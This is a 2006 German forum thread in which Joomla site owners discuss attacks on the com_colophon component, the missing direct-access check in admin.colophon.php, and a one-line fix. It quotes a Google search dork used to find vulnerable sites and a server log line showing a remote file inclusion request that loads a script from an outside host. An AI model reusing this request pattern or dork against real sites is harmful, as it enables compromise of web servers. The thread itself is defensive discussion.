Thema: Hinweis/Frage zu com_colophon

Guten Abend,

vielleicht ist es Panik, vielleicht aber auch übertriebene Vorsicht. In den letzten 12 Stunden wurde von den verschiedenensten Quellen über Google die Anfrage "inurl:"/com_colophon/" " gestartet. Zum Spaß macht man das nicht wirklich, kann zwar vorkommen, aber nicht von Google.com.tr, Google****, Google.de und Google.com in so kurzer Zeit. Gibt es in dieser Komponente auch noch ein Fehler?

Im Augenblick (29.07.06, 22:00Uhr) kann man diese Suchanfrage auf meiner Seite noch sehen (last_referer).

Wenn es ein Fehlalarm war oder das Thema hier schon 1000 mal durch ist, sorry.


Edit: Scheint gerade ne populäre Komponente zu sein, jetzt kommen auch noch Suchanfragen von Google.com.eg und Google.it dazu.



Mit freundlichem Gruß


Sven Soltmann

Irgendwas passiert aber anscheinend doch, siehe hier:
http://forum.joomla.org/index.php/to...html#msg416601
Schade das mein Englisch so schlecht ist.


Die "Herstellerwebseite" http://www.schoolastech.com/ ist leider derzeit auch nicht errreichbar.

Ich habe die Komponente erstmal unbrauchbar gemacht (hoffentlich).


Mit freundlichem Gruß


Sven Soltmann

Hi
Das lässt sich ganz einfach erklären:
Die admin.colophon.php ist buggy.
Da fehlt die Überprüfung ob die Datei auch von Joomla eingebunden wird => man kann die Datei direkt aufrufen und eure Installation hacken... zumindest habe ich so drei Installationen verloren *amaufräumenbin*.

Es fehlt da ein

Code:

// no direct access
defined( '_VALID_MOS' ) or die( 'Restricted access' );

im top der Seite.

ciao B2M

Damit sollte man das Modul Colophon auch zuden unsicheren Module zählen oder ausdrücklich auf die Änderung hinweisen.
Vielen Dank

Edit: siehe Amarok, er war einfach schneller.


Mit freundlichem Gruß


Sven Soltmann

hm, nachdem ich gestern sämtliche Bestandteile von Colophon gelöscht habe, bekomme ich laut Logfiles immer noch Anfragen nach

"GET /mtg/component/option,com_colophon/administrator/components/com_colophon/admin.colophon.php?mosConfig_absolute_path=http://xxx/list.txt? HTTP/1.1" 200 24010 "-" "libwww-perl/5.805"

Sind das nur Hackversuche, oder muss ich mir Sorgen machen? Was kann dieses Script auf xxx ? Hat da jemand Ahnung von?
Meine Programmierkenntnisse reichen leider nicht aus, um den Zweck dieses Scriptes zu verstehen.
Wär super, wenn mir diesbezüglich jemand weiterhelfen könnte.

Danke!